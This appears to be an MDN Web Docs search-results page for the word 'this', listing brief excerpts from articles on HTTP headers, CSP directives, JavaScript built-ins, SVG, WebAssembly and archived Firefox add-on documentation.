...if
this keyword is not used,
this operation is not allowed.
...if
this keyword is not used, that functionality will silently fail.
...And 4 more matches
CSP: script-src-attr - HTTP
this includes only inline script event handlers like onclick, but not urls loaded directly into <script> elements.
...if
this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fallback to default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
...And 4 more matches
CSP: style-src - HTTP
if
this directive is absent, the user agent will look for the default-src directive.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
CSP: worker-src - HTTP
csp version 3 directive type fetch directive fallback if
this directive is absent, the user agent will first look for the child-src directive, then the script-src directive, then finally for the default-src directive, when governing worker execution.
...
this is insecure; an attacker can also inject arbitrary data: uris.
... use
this sparingly and definitely not for scripts.
...And 4 more matches
Strict-Transport-Security - HTTP
includesubdomains optional if
this optional parameter is specified,
this rule applies to all of the site's subdomains as well.
...
this creates an opportunity for a man-in-the-middle attack.
... note: the strict-transport-security header is ignored by the browser when your site is accessed using http;
this is because an attacker may intercept http connections and inject the header or remove it.
...And 4 more matches
Transfer-Encoding - HTTP
the content-length header is omitted in
this case and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format, followed by '\r\n' and then the chunk itself, followed by another '\r\n'.
...the value name was taken from the unix compress program, which implemented
this algorithm.
... like the compress program, which has disappeared from most unix distributions,
this content-encoding is used by almost no browsers today, partly because of a patent issue (which expired in 2003).
...And 4 more matches
HTTP Messages - HTTP
web developers, or webmasters, rarely craft these textual http messages themselves: software, a web browser, proxy, or web server, perform
this action.
...
this start-line is always a single line.
...the format of
this request target varies between different http methods.
...And 4 more matches
Equality comparisons and sameness - JavaScript
this is useful in representing certain mathematical solutions, but as most situations don't care about the difference between +0 and -0, strict equality treats them as the same value.
...(
this use case demonstrates an instance of the liskov substitution principle.) one instance occurs when an attempt is made to mutate an immutable property: // add an immutable negative_zero property to the number constructor.
...es2015 simply proposes to expose
this algorithm through object.is.
...And 4 more matches
Introduction - JavaScript
« previousnext »
this chapter introduces javascript and discusses some of its fundamental concepts.
... what you should already know
this guide assumes you have the following basic background: a general understanding of the internet and the world wide web (www).
... javascript guide (
this guide) provides an overview about the javascript language and its objects.
...And 4 more matches
Loops and iteration - JavaScript
this chapter of the javascript guide introduces the different iteration statements available to javascript.
...for example, the idea "go five steps to the east" could be expressed
this way as a loop: for (let step = 0; step < 5; step++) { // runs 5 times, with values of step 0 through 4.
...
this expression usually initializes one or more loop counters, but the syntax allows an expression of any degree of complexity.
...And 4 more matches
Assertions - JavaScript
types the following section is also duplicated on
this cheatsheet.
...
this character has a different meaning when it appears at the start of a group.
...
this is the position where a word character is not followed or preceded by another word-character, such as between a letter and a space.
...And 4 more matches
Private class fields - JavaScript
this can lead to unexpected behaviour when using
this.
... class baseclasswithprivatestaticfield { static #private_static_field static basepublicstaticmethod() {
this.#private_static_field = 42 return
this.#private_static_field } } class subclass extends baseclasswithprivatestaticfield { } let error = null try { subclass.basepublicstaticmethod() } catch(e) { error = e} console.assert(error instanceof typeerror) private instance fields private instance fields are declared with # names (pronounced "hash names"), which are identifiers prefixed with #.
... class classwithprivatefield { #privatefield constructor() {
this.#privatefield = 42
this.#randomfield = 666 // syntax error } } const instance = new classwithprivatefield() instance.#privatefield === 42 // syntax error private methods private static methods like their public equivalent, private static methods are called on the class itself, not instances of the class.
...And 4 more matches
extends - JavaScript
the source for
this interactive example is stored in a github repository.
...
this example is extracted from
this live demo (source).
... class square extends polygon { constructor(length) { // here, it calls the parent class' constructor with lengths // provided for the polygon's width and height super(length, length); // note: in derived classes, super() must be called before you // can use '
this'.
...And 4 more matches
Array.prototype.reduce() - JavaScript
the source for
this interactive example is stored in a github repository.
...the code below will produce the same output as the code in the block above: [0, 1, 2, 3, 4].reduce( (accumulator, currentvalue, currentindex, array) => accumulator + currentvalue ) if you were to provide an initialvalue as the second argument to reduce(), the result would look like
this: [0, 1, 2, 3, 4].reduce((accumulator, currentvalue, currentindex, array) => { return accumulator + currentvalue }, 10) callback iteration accumulator currentvalue currentindex array return value first call 10 0 0 [0, 1, 2, 3, 4] 10 second call 10 1 1 [0, 1, 2, 3, 4] 11 third call 11 2 2 [0, 1, ...
...2, 3, 4] 13 fourth call 13 3 3 [0, 1, 2, 3, 4] 16 fifth call 16 4 4 [0, 1, 2, 3, 4] 20 the value returned by reduce() in
this case would be 20.
...And 4 more matches
Array.prototype.reduceRight() - JavaScript
the source for
this interactive example is stored in a github repository.
... the call to the reduceright callback would look something like
this: array.reduceright(function(accumulator, currentvalue, index, array) { // ...
... some example run-throughs of the function would look like
this: [0, 1, 2, 3, 4].reduceright(function(accumulator, currentvalue, index, array) { return accumulator + currentvalue; }); the callback would be invoked four times, with the arguments and return values in each call being as follows: callback accumulator currentvalue index array return value first call 4 3 3 [0, 1, 2, 3, 4] 7 second c...
...And 4 more matches
Array.prototype.lastIndexOf() - JavaScript
the source for
this interactive example is stored in a github repository.
...you can work around
this by inserting the following code at the beginning of your scripts, allowing use of lastindexof in implementations which do not natively support it.
...
this algorithm is exactly the one specified in ecma-262, 5th edition, assuming object, typeerror, number, math.floor, math.abs, and math.min have their original values.
...And 4 more matches
Array.prototype.sort() - JavaScript
the source for
this interactive example is stored in a github repository.
...note: the ecmascript standard does not guarantee
this behavior, thus, not all browsers (e.g.
... mozilla versions dating back to at least 2003) respect
this.
...And 4 more matches
Date.parse() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this function is useful for setting date values based on string values, for example in conjunction with the settime() method and the date object.
... fall-back to implementation-specific date formats
this section contains implementation-specific behavior that can be inconsistent across implementations.
...And 4 more matches
Date - JavaScript
this date and time is the same as the unix epoch, which is the predominant base value for computer-recorded date and time values.
...(
this time is historically known as greenwich mean time, as utc lies along the meridian that includes london—and nearby greenwich—in the united kingdom.) the user's device provides the local time.
... date.prototype.tolocaledatestring() returns a string with a locality sensitive representation of the date portion of
this date based on system settings.
...And 4 more matches
Intl.DateTimeFormat() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
...to use the browser's default locale, omit
this argument or pass undefined.
...for information about
this option, see the intl page.
...And 4 more matches
Object.setPrototypeOf() - JavaScript
because
this feature is a part of the language, it is still the burden on engine developers to implement that feature performantly (ideally).
... until engine developers address
this issue, if you are concerned about performance, you should avoid setting the [[prototype]] of an object.
...otherwise,
this method changes the [[prototype]] of obj to the new value.
...And 4 more matches
Promise.prototype.catch() - JavaScript
this means that you have to provide an onrejected function even if you want to fall back to an undefined result value - for example obj.catch(() => {}).
... the source for
this interactive example is stored in a github repository.
...
this function has one argument: reason the rejection reason.
...And 4 more matches
RegExp.prototype.exec() - JavaScript
using
this internally, exec() can be used to iterate over multiple matches in a string of text (with capture groups), as opposed to getting just the matching strings with string.prototype.match().
... the source for
this interactive example is stored in a github repository.
... description consider the following example: // match "quick brown" followed by "jumps", ignoring characters in between // remember "brown" and "jumps" // ignore case let re = /quick\s(brown).+?(jumps)/ig; let result = re.exec('the quick brown fox jumps over the lazy dog'); the following table shows the results for
this script: object property/index description example result [0] the full string of characters matched "quick brown fox jumps" [1], ...[n] the parenthesized substring matches, if any.
...And 4 more matches
Set.prototype.forEach() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax myset.foreach(callback[,
thisarg]) parameters callback function to execute for each element, taking three arguments: currentvalue, currentkey the current element being processed in the set.
...
thisarg value to use as
this when executing callback.
...And 4 more matches
String.prototype.startsWith() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax str.startswith(searchstring[, position]) parameters searchstring the characters to be searched for at the start of
this string.
... position optional the position in
this string at which to begin searching for searchstring.
...And 4 more matches
String - JavaScript
this last form specifies a template literal: with
this form you can interpolate expressions.
...if you wish to compare without regard to upper or lower case characters, use a function similar to
this: function isequal(str1, str2) { return str1.touppercase() === str2.touppercase() } // isequal upper case is used instead of lower case in
this function, due to problems with certain utf-8 character conversions.
...there are two ways you can do
this.
...And 4 more matches
TypedArray.prototype.filter() - JavaScript
this method has the same algorithm as array.prototype.filter().
... the source for
this interactive example is stored in a github repository.
... syntax typedarray.filter(callback[,
thisarg]) parameters callback function to test each element of the typed array.
...And 4 more matches
TypedArray.prototype.findIndex() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax typedarray.findindex(callback[,
thisarg]) parameters callback function to execute on each value in the typed array, taking three arguments: element the current element being processed in the typed array.
...
thisarg optional.
...And 4 more matches
TypedArray.prototype.forEach() - JavaScript
this method has the same algorithm as array.prototype.foreach().
... syntax typedarray.foreach(callback[,
thisarg]) parameters callback function that produces an element of the new typed array, taking three arguments: currentvalue the current element being processed in the typed array.
...
thisarg optional.
...And 4 more matches
WebAssembly.Global - JavaScript
this allows dynamic linking of multiple modules.
... global instances all global instances inherit from the global() constructor's prototype object —
this can be modified to affect all global instances.
... instance properties global.prototype.constructor returns the function that created
this object's instance.
...And 4 more matches
instanceof - JavaScript
the source for
this interactive example is stored in a github repository.
...
this means that they have different built-ins (different global object, different constructors, etc.).
...
this may result in unexpected results.
...And 4 more matches
MathML attribute reference - MathML
this is an alphabetical list of mathml attributes.
... actiontype <maction> a string value specifying the action happening for
this element.
... unimplemented decimalpoint <mstyle> if the decimalpoint value is used to specify the alignment,
this attribute is specifying the character for the alignment point within <mstack> and <mtable> columns.
...And 4 more matches
Media type and format guide: image, audio, and video content - Web media technologies
this guide provides an overview of the media file types, codecs, and algorithms that may comprise media used on the web.
... web video codec guide
this article provides basic information about the video codecs supported by the major browsers, as well as some that are not commonly supported but that you might still run into.
...
this guide describes the format and possible values of the codecs parameter for the common media types.
...And 4 more matches
Optimizing startup performance - Web Performance
this article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the web.
...
this will prevent the app, browser, and/or device from appearing to have locked up.
...
this all means that unless you can easily pull out the "pure calculation" chunks of your startup process into workers, you'll wind up having to run most or all of your startup code on the main thread.
...And 4 more matches
Privacy, permissions, and information security
in
this article, we examine how to create web content that minimizes the risk of users' personal information or imagery being obtained unexpectedly by third parties.
...whenever working with data, always stop and think: is there any way
this can be used to even through many steps identify a specific person?
...because of
this, browsers typically introduce a small amount of variability to timers in order to make them less useful for identifying the user's system.
...And 4 more matches
Graphic design for responsive sites - Progressive web apps (PWAs)
this article provides a high level discussion aimed at helping you to choose the best option for your graphical needs.
...
this is why we have included an entire docs section covering each of these topics (the one you are currently in, and app layout.) in addition, these days there are so many more technologies to choose from than your humble bmps, jpgs, gifs and pngs.
...
this really depends on what target devices you have to support, how complex the graphics need to be, and how much interactivity your graphics require.
...And 4 more matches
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
applying the svg effect to (x)html is accomplished by assigning the target class defined above to an element, like
this: <p class="target" style="background:lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
... example: clipping
this example demonstrates using svg to clip html content.
.../p> <button onclick="toggleradius()">toggle radius</button> <svg height="0"> <clippath id="clipping-path-1" clippathunits="objectboundingbox"> <circle cx="0.25" cy="0.25" r="0.25" id="circle"/> <rect x="0.5" y="0.2" width="0.5" height="0.8"/> </clippath> </svg> .target { clip-path: url(#clipping-path-1); } p { width: 300px; border: 1px solid #000; display: inline-block; }
this establishes a clipping area made of a circle and rectangle, assigns it the id #clipping-path-1, then references it in the css.
...And 4 more matches
edgeMode - SVG: Scalable Vector Graphics
two elements are using
this attribute: <feconvolvematrix> and <fegaussianblur> feconvolvematrix for <feconvolvematrix>, edgemode determines how to extend the input image as necessary with color values so that the matrix operations can be applied when the kernel is positioned at or near the edge of the input image.
... value duplicate | wrap | none default value duplicate animatable yes duplicate
this value indicates that the input image is extended along each of its borders as necessary by duplicating the color values at the given edge of the input image.
... wrap
this value indicates that the input image is extended by taking the color values from the opposite edge of the image.
...And 4 more matches
systemLanguage - SVG: Scalable Vector Graphics
this list is matched against the language defined in the user preferences.
... 35 elements are using
this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
... note: if several alternative language objects are enclosed in a <switch> and none of them matches,
this may lead to situations where no content is displayed.
...And 4 more matches
text-rendering - SVG: Scalable Vector Graphics
<svg viewbox="0 0 140 40" xmlns="http://www.w3.org/2000/svg"> <text y="15" text-rendering="geometricprecision">geometric precision</text> <text y="35" text-rendering="optimizelegibility">optimized legibility</text> </svg> usage notes value auto | optimizespeed | optimizelegibility | geometricprecision default value auto animatable yes auto
this value indicates that the user agent shall make appropriate tradeoffs to balance speed, legibility and geometric precision, but with legibility given more importance than speed and geometric precision.
... optimizespeed
this value indicates that the user agent shall emphasize rendering speed over legibility and geometric precision.
...
this option will sometimes cause some user agents to turn off text anti-aliasing.
...And 4 more matches
<linearGradient> - SVG: Scalable Vector Graphics
.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes gradientunits
this attribute defines the coordinate system for attributes x1, x2, y1, y2 value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes gradienttransform
this attribute provides additional transformation to the gradient coordinate system.
... value type: <transform-list> ; default value: identity transform; animatable: yes href
this attribute defines a reference to another <lineargradient> element that will be used as a template.
... value type: <url> ; default value: none; animatable: yes spreadmethod
this attribute indicates how the gradient behaves if it starts or ends inside the bounds of the shape containing the gradient.
...And 4 more matches
Positions - SVG: Scalable Vector Graphics
« previousnext » in
this article, we examine how scalable vector graphics (svg) represents the positions and sizes of objects within a drawing context, including coordinate system and what a "pixel" measurement means in a scalable context.
...note that
this is slightly different than the way you're taught to graph as a kid (y axis is flipped).
... however,
this is the same way elements in html are positioned (by default, ltr documents are considered not the rtl documents which position x from right-to-left).
...And 4 more matches
SVG and CSS - SVG: Scalable Vector Graphics
this page illustrates the application of css to the specialized language for creating graphics: svg.
... result notes about
this demonstration: the svg document links the stylesheet in the usual way.
... see a solution to
this challenge.
...And 4 more matches
SVG fonts - SVG: Scalable Vector Graphics
since accessing the correct font file is however crucial for rendering text correctly, a font description technology was added to svg to provide
this ability.
...internet explorer hasn't considered implementing
this, the functionality has been removed from chrome 38 (and opera 25) and firefox has postponed its implementation indefinitely to concentrate on woff.
...
this bears an id attribute, to enable it to be referenced via a uri (see below).
...And 4 more matches
Texts - SVG: Scalable Vector Graphics
the attribute text-anchor, which can have the values "start", "middle", "end" or "inherit", decides in which direction the text flows from
this point.
... other text-related elements tspan
this element is used to mark up sub-portions of a larger text.
... <text>
this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> playable code <svg width="350" height="60" xmlns="http://www.w3.org/2000/svg"> <text>
this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> the tspan element has the following custom attributes: x set a new absolute x coordinate for the containing text.
...And 4 more matches
Mixed content - Web security
pages like
this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-middle attackers.
... passive content list
this section lists all types of http requests which are considered passive content: <img> (src attribute) <audio> (src attribute) <video> (src attribute) <object> subresources (when an <object> performs http requests) mixed active content mixed active content is content that has access to all or parts of the document object model of the https page.
...
this type of mixed content can alter the behavior of the https page and potentially steal sensitive data from the user.
...And 4 more matches
XML introduction - XML: Extensible Markup Language
this is a powerful way to store data in a format that can be stored, searched, and shared.
... structure of an xml document
this sub-article in process writing...
... <?xml version="1.0" encoding="utf-8"?> attributes: version : used version xml in
this document.
...And 4 more matches
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
for each node in
this list that matches the count attribute, the processor counts how many preceding matching siblings it has, and adds one for the node itself.
... any (not supported at
this time.) numbers all matching nodes, regardless of level, sequentially.
...
this level is not supported at
this time.
...And 4 more matches
Loading and running WebAssembly code - WebAssembly
this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it.
...
this is analogous to new function(string), except that we are substituting a string of characters (javascript source code) with an array buffer of bytes (webassembly source code).
...the object looks like
this: { module : module // the newly compiled webassembly.module object, instance : instance // a new webassembly.instance of the module object } note: usually we only care about the instance, but it’s useful to have the module in case we want to cache it, share it with another worker or window via postmessage(), or simply create more instances.
...And 4 more matches
Converting WebAssembly text format to wasm - WebAssembly
this article explains a little bit about how it works, and how to use available tools to convert text format files to the .wasm assembly format.
... a first look at the text format let’s look at a simple example of
this — the following program imports a function called imported_func from a module called imports, and exports a function called exported_func: (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i ) ) the webassembly function exported_func is exported for use in our environment (e.g.
... we need to assemble
this textual representation into the assembly language the browser actually reads before we can use it.
...And 4 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
$ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascript by writing a c file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" emscripten_keepalive int version() { return webpgetencoderversion(); }
this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke
this function.
... to compile
this program, you need to tell the compiler where it can find libwebp's header files using the -i flag and also pass it all the c files of libwebp that it needs.
...it seemed to work brilliantly: $ emcc -o3 -s wasm=1 -s extra_exported_runtime_methods='["cwrap"]' \ -i libwebp \ webp.c \ libwebp/src/{dec,dsp,demux,enc,mux,utils}/*.c note:
this strategy will not work with every c project.
...And 4 more matches
Loading Content Scripts - Archive of obsolete content
this page is now obsolete, and its content has been incorporated into the main page on content scripts.
...
this version of the api avoids the need to maintain a separate file for the content script.
...
this enables you to load a javascript library like jquery by url, then pass in a simple script inline that can use jquery.
...And 3 more matches
self - Archive of obsolete content
this article documents the self object that is available as a global in content scripts.
...if you do
this, the data is available to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({ url: "./page.html", onready: function(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to re...
...
this is an older api than the api provided by port, and for most purposes the port api is a better choice.
...And 3 more matches
Porting the Library Detector - Archive of obsolete content
this example walks through the process of porting a xul-based add-on to the sdk.
...it does
this by checking whether particular objects that those libraries add to the global window object are defined.
... how the library detector works all the work is done inside a single file, librarydetector.xul
this contains: a xul overlay a script the xul overlay adds a box element to the browser's status bar: the script does everything else.
...And 3 more matches
Guides - Archive of obsolete content
this page lists more theoretical in-depth articles about the sdk.
... classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions provided by the sdk to simplify
this.
...
this article highlights the main features of that design.
...And 3 more matches
hotkeys - Archive of obsolete content
for example,
this add-on defines two hotkey combinations, to show and hide a panel: // define keyboard shortcuts for showing and hiding a custom panel.
...on the macintosh,
this is the option key.
... on macintosh
this can only be used in conjunction with another modifier, since alt-letter combinations are reserved for entering special characters in text.
...And 3 more matches
core/namespace - Archive of obsolete content
} view.prototype.destroy = function destroy() { let { element } = dom(
this); element.parentnode.removechild(element); // ...
... also, multiple namespaces can be used with one object: // ./widget.js let { cu } = require('chrome'); let { ns } = require('sdk/core/namespace'); let { view } = require('./view'); // note
this is completely independent from view's internal namespace object.
... } widget.prototype = object.create(view.prototype); widget.prototype.postmessage = function postmessage(message) { let { sandbox } = sandboxes(
this); sandbox.postmessage(json.stringify(json.parse(message))); ...
...And 3 more matches
net/xhr - Archive of obsolete content
if access to the filesystem isn't prevented, it could easily be used to access sensitive user data, though
this may be inconsequential if the client can't access the network.
... possible attenuations before being exposed to unprivileged code,
this object needs to be attenuated in such a way that, at the very least, it can't access the user's filesystem.
...
this can probably be done most securely by white-listing the protocols that can be used in the url passed to the open() method, and limiting them to http:, https:, and possibly a special scheme that can be used to access the add-on's packaged, read-only resources.
...And 3 more matches
HTML to DOM - Archive of obsolete content
although you can now natively parse html using domparser and xmlhttprequest,
this is a new feature that is not yet supported by all browsers in use in the wild.
... the code snippets on
this page will let your site work until these new features are more widely available.
...
this will remove tags like <script>, <style>, <head>, <body>, <title>, and <iframe>.
...And 3 more matches
xml:base support in old browsers - Archive of obsolete content
before using
this code, check if your browser has native support for node.baseuri.
... note however, that
this code is not based on a thorough examination of the specs related to forming base uris and could well have a number of errors.
... var scheme = /(\w(\w|\d|\+|\- |\ .)*)\:\/\//; function getxmlbaselink (xlink,
thisitem) { var xmlbase = ''; if (!xlink.match(scheme)) { // only check for xml base if there is no protocol // tests for 'scheme' per http://www.ietf.org/rfc/rfc2396.txt' xmlbase = getxmlbase (
thisitem); if (!xmlbase.match(/\/$/) && !xlink.match(/\/$/)) { // if no preceding slash on xlink or trailing slash on xml:base, add one in between xmlbase += '/'; } else if (xmlbase.match(/\/$/) && xlink.match(/\/$/)) { xmlbase = xmlbase.substring(0, xmlbase.length-2); // strip off last slash to join with xlink path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.match(scheme)) { // if there...
...And 3 more matches
Migrating raw components to add-ons - Archive of obsolete content
historically, firefox has allowed third party contributions to be added to the application's components/ directory, but beginning with firefox 3.6,
this is no longer permitted.
... components added in
this way are invisible to users and cannot be managed through the firefox add-ons manager.
...as we roll
this new behavior out,
this document will be updated with additional information addressing scenarios we see developers encountering.
...And 3 more matches
Multiple item extension packaging - Archive of obsolete content
the extension manager will read the install.rdf install manifest to determine if
this is a multiple item package and then start the installation of the individual packages it contains automatically.
...if
this is not done, any items that are not compatible will not be installed unless a compatibility check discovers updated compatibility information.
...
this also allows displaying of signing information for the multiple item package.
...And 3 more matches
Updating addons broken by private browsing changes - Archive of obsolete content
after reading
this document, contact josh matthews with further questions or clarifications, or file a bug if your extension has stopped working due to a change described here and you are having trouble updating it.
... imgicache:
this must no longer be obtained as a service.
... nsiprivatebrowsingservice:
this service is deprecated, and as of firefox 20 it is now an empty interface.
...And 3 more matches
List of Mozilla-Based Applications - Archive of obsolete content
this list is likely to be incomplete since we think there are many dark matter projects that we don't know about.
... if you have information about a new project or extra information about an existing project, please feel free to update
this page.
... name description additional information 389 directory server ldap server uses nss a380 seatback entertainment system media software
this blog post mentions a reference to mozilla being used but i couldn't find more information about it.
...And 3 more matches
Using content preferences - Archive of obsolete content
this permits code running within chrome (in other words: extensions and the browser itself, not web sites) to locally save preferences on a per-site basis.
...
this makes it possible to write an extension that lets the user customize the appearance of specific web sites (setting the font size larger on sites that use obnoxiously small fonts, for instance).
...example: setting and retrieving preferences
this example demonstrates how to save a preference and then retrieve its value.
...And 3 more matches
Making it into a static overlay - Archive of obsolete content
integrating extensions into the mozilla codebase is beyond the scope of
this tutorial, but for more information see mozilla.org's hacking documentation.
...vascript" src="chrome://navigator/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> tinderstatusoverlay.xul starts with an xml processing instruction that identifies the file as xml (all xul files need to include
this).
...
this element is the top-level element in a xul overlay file and serves to identify the file as an overlay.
...And 3 more matches
Creating a Microsummary - Archive of obsolete content
in
this tutorial we're going to create a microsummary generator for the spread firefox home page that displays the current firefox download count along with the label fx downloads; for example: 174475447 fx downloads.
... in each step of revising the transform sheet and other code in
this tutorial, new material added will be shown in boldface so you can follow along more easily.
... specifying the output type since the xslt transform sheet will generate a text microsummary, we should indicate
this with the xslt <output> element: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> <template> <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> <output method="text"/> </transform> </template> </generator> using a simple xslt <template> the xslt processor transform...
...And 3 more matches
Exception logging in JavaScript - Archive of obsolete content
this had the unintended consequence of logging "expected" errors at length into the console.
...consider
this call chain: here we see c++ code calling javascript, which calls back into c++, which then calls back into javascript.
...no exception will be logged to the error console in
this case.
...And 3 more matches
Using microformats - Archive of obsolete content
this object and its api make finding and reading microformats easy to do.
...if provided,
this is a javascript object that contains zero or more of the following flags: recurseexternalframes if true, child frames are included in the search.
... note: you can simply call debug() on a microformat object: microformatobject.debug() instead of using
this method if you prefer.
...And 3 more matches
Helper Apps (and a bit of Save As) - Archive of obsolete content
warning: the content of
this article may be out of date.
... when
this fails, uriloader asks an nsiexternalhelperappservice to handle the load.
... helper app dialog
this is our implementation of nsihelperapplauncherdialog it calls back to the nsexternalapphandler to let it know what the user picked saving to disk if a user decides to "save to disk", we just move/copy the temporary file over to the chosen location once the download completes.
...And 3 more matches
Simple Storage - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...for the most part
this object is like any other javascript object, and a jetpack can set whatever properties it wants on it.
...don't abuse
this method.
...And 3 more matches
Clipboard - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...the namespace associated with
this api is jetpack.clipboard which provides both read and write access to the clipboard.
...
this is the recommended method of copying data to the clipboard.
...And 3 more matches
Clipboard Test - Archive of obsolete content
the namespace associated with
this api is jetpack.clipboard which provides both read and write access to the clipboard.
...
this api currently lives in the future and must be imported for use.
...
this is the recommended method of copying data to the clipboard.
...And 3 more matches
Clipboard - Archive of obsolete content
the namespace associated with
this api is jetpack.clipboard which provides both read and write access to the clipboard.
...
this api currently lives in the future and must be imported for use.
...
this is the recommended method of copying data to the clipboard.
...And 3 more matches
Message Summary Database - Archive of obsolete content
this includes a set of per-message flags, the more commonly used headers (e.g., subject, sender, from, to, cc, date, etc), and a few other attributes, e.g., keywords.
...
this allows us to store watch/ignore information on a thread object, and avoids having to generate threading information whenever a folder is open.
...
this has arguably been more trouble than it's been worth, especially when we've threaded incorrectly.
...And 3 more matches
Porting NSPR to Unix Platforms - Archive of obsolete content
therefore i write
this article to document the more mechanical part of the unix porting task.
... for certain more "standard" unix platforms,
this may be all you have to do.
...
this is called the local threads only version of classic nspr.
...And 3 more matches
PyDOM - Archive of obsolete content
introduction
this is the documentation for the binding of python and the mozilla dom.
...
this allows you to use python code (almost) anywhere you can use javascript.
... globals and namespaces
this is taken from a mail to the pyxpcom list - it should be expanded, but a copy-paste will do for now normal module semantics don't exist here.
...And 3 more matches
Remotely debugging Firefox for Metro - Archive of obsolete content
this article explains how to use remote debugging to inspect and code running in the new windows 8 ("metro-style") firefox app, using the developer tools in firefox on the desktop.
...
this can be a security risk, especially if you also set the force-local preference to false.) set up firefox for desktop on the desktop, remote debugging is enabled by a setting in the toolbox.
...you'll see a page that looks like
this: if you are running firefox for metro on the same computer with the default settings, use the default host (localhost) and port (6000), and press the "connect" button.
...And 3 more matches
Using cross commit - Archive of obsolete content
if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-commit note that you will need to have $cvsroot and such set up correctly for
this to work.
...
this defaults to 1.
...
this is equivalent to --branch head.
...And 3 more matches
Event Handlers - Archive of obsolete content
this action can be specified either using an action attribute or by specifying the script as a child of the handler element.
...(note that there is a possibility that
this may change in the future.) handlers are attached to the bound element, and they are registered by default for bubbling events.
...
this means that <handler event="click" action="foo()"/> is analogous to onclick="foo()" defined on the bound element.
...And 3 more matches
execute - Archive of obsolete content
(note that
this path points into the xpi itself.) args a parameter string that is passed to the executable.
...the blocking parameter is not available as part of
this method in versions of netscape before 6.1/mozilla 0.9.3.
...you can use
this method to launch an installshield installer or any install executable file stored in a xpi file.
...And 3 more matches
patch - Archive of obsolete content
on version, string xpisourcepath, object localdirspec, string relativelocalpath); int patch ( string registryname, string version, string xpisourcepath, object localdirspec, string relativelocalpath); parameters the patch method has the following parameters: registryname the pathname in the client version registry for the component that is to be patched.
this parameter can be an absolute pathname, such as /royalairways/royalsw/executable or a relative pathname, such as executable.
...
this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname.
...for variants or
this method without a version argument the value from initinstall will be used.
...And 3 more matches
registerChrome - Archive of obsolete content
filespecobjects like that required by
this function are created using the getfolder method on the install object.
...description when the third parameter is omitted (pointing to a specific location within the xpi file),
this function is being used in a somewhat deprecated way.
... in
this case, registerchrome is supporting the old format of installation archives, in which the manifest.rdf file was always located at the highest level of the installation archive.
...And 3 more matches
WinReg Object - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
...winreg (windows only) windows developers use
this object to manipulate the content of the windows registry.
...And 3 more matches
modifiers - Archive of obsolete content
on the macintosh,
this is the option key.
... on macintosh
this can only be used in conjunction with another modifier, since alt+letter combinations are reserved for entering special characters in text.
...on the macintosh,
this is the command key.
...And 3 more matches
sizemode - Archive of obsolete content
this attribute is used to save and restore the state of a window (together with the persist attribute) and for css styles (e.g.
...
this is done so that if a window is closed while minimized, its persisted sizemode attribute wouldn't be minimized.
... setting
this attribute does not change the window state.
...And 3 more matches
XML Assignments - Archive of obsolete content
xpath provides syntax to retrieve
this using the built-in string-length method.
...in
this case, we use an expression that returns the nodes as in earlier examples, and use some additional syntax of the query to get the length of the names.
... to do
this, we use an additional element, the assign element.
...And 3 more matches
Things I've tried to do with XUL - Archive of obsolete content
this is a grab-bag type of faq, with a list of things that should work (hopefully with bug numbers), things that don't work (hopefully with explanations), and workarounds for both of the above.
...
